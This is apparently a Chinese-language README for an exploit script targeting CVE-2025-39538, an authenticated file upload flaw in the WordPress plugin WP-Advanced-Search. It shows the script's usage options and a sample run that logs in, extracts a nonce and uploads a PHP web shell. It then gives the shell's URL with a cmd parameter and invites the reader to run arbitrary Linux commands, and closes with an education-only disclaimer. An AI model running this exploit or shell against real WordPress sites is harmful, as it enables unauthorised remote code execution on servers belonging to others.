CVE-2025-39538
发布日期: 2025-04-16
漏洞类型: 任意文件上传(危险类型文件未限制上传)
受影响插件: Mathieu Chartier 开发的 WP-Advanced-Search
受影响版本: 所有版本直至 3.3.9.3(含)
此漏洞允许已认证的攻击者利用插件提供的导入功能,向服务器上传恶意 PHP 文件(例如 Web Shell)。上传的文件位于 WordPress 上传目录下,可能导致远程代码执行。
🧱 上传路径:
wp-content/uploads/2025/04/
该 Python 脚本执行以下操作:
wp_advanced_search_up_nonce。usage: a.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-39538 - WP Advanced Search Arbitrary File Upload Exploit # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://127.0.0.1/wordpress)
-un, --username USERNAME
WordPress Username
-p, --password PASSWORD
WordPress Password
[*] Attempting login...
[+] Logged in successfully.
[*] Fetching nonce from import/export page...
[+] Nonce extracted: 2140855687
[*] Attempting to upload shell...
[+] File uploaded (check wp-content/uploads or temp directory).
上传完成后,您可以通过以下方式访问 Shell:
http://target.site/wp-content/uploads/2025/04/nxploit.php?cmd=whoami
将 whoami 替换为任何您想执行的 Linux 命令,例如:
id — 显示当前用户 ID。pwd — 显示当前目录。ls — 列出文件。本工具仅用于教育和授权的安全测试目的。
作者对因使用此脚本而造成的任何滥用或损坏不承担任何责任。
作者:Nxploited | Khaled Alenazi